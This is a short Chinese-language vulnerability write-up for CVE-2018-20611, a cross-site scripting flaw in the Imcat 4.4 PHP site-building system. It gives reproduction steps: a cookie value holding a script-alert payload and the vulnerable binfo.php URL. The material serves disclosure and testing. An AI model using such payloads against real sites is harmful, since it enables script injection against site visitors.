（CVE-2018-20611）Imcat 4.4 xss¶
一、漏洞简介¶
imcat是一套基于PHP的开源建站系统。 imcat 4.4版本存在跨站脚本漏洞。远程攻击者可通过向root/tools/adbug/binfo.php?cookie URI发送特制的cookie利用该漏洞注入任意的Web脚本或HTML。
二、漏洞影响¶
imcat 4.4
三、复现过程¶
将cookie的值修改成
"><script>alert(1)</script>
然后访问
http://www.0-sec.org/root/tools/adbug/binfo.php?cookie`
